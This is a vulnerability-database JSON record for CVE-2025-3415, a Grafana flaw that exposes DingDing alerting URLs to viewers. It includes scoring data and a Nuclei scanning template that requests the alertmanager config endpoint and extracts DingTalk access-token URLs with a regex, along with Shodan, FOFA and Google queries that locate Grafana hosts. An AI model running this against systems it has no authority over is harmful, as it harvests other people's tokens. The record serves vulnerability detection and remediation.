{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-3415/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-3415/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-3415/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-3415/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-3415/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-3415"},"sightings":{"href":"/api/v1/sightings/cve-2025-3415"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.00983,"kev":false,"percentile":0.60675},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-3415.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-3415\n\ninfo:\n  name: Grafana - Exposes DingDing API Keys\n  author: lucasribolli\n  severity: medium\n  description: |\n    An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n  impact: |\n    Viewers can access DingDing alerting integration URLs containing access tokens through the alertmanager API, potentially enabling unauthorized message delivery and notification manipulation.\n  remediation: |\n    Upgrade to Grafana version 12.0.2 or later that properly restricts access to DingDing integration settings.\n  reference:\n    - https://grafana.com/blog/2025/06/13/grafana-security-update-medium-severity-security-release-for-cve-2025-3415/\n  classification:\n    epss-score: 0.00983\n    epss-percentile: 0.60675\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: grafana\n    product: grafana\n    shodan-query:\n      - http.title:\"grafana\"\n      - cpe:\"cpe:2.3:a:grafana:grafana\"\n    fofa-query:\n      - title=\"grafana\"\n      - app=\"grafana\"\n    google-query: intitle:\"grafana\"\n  tags: cve,cve2025,grafana,dingding,dingtalk,apikey,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /api/alertmanager/grafana/config/api/v1/alerts HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"dingtalk.com\",\"dingding-context\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: dingding-integration-url\n        part: body\n        regex:\n          - '(?i)https?://oapi\\.dingtalk\\.com/robot/send\\?access_token=[^&\"\\s]+'\n# digest: 4b0a00483046022100de5ba9a2bba79c7b677110b52f39da574a49a86ff3b368936104baf8770fe166022100ad92d720e79e8e2f52b66edb357a323963939dfa7e31b231258fb6f36513f90a:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-3415"}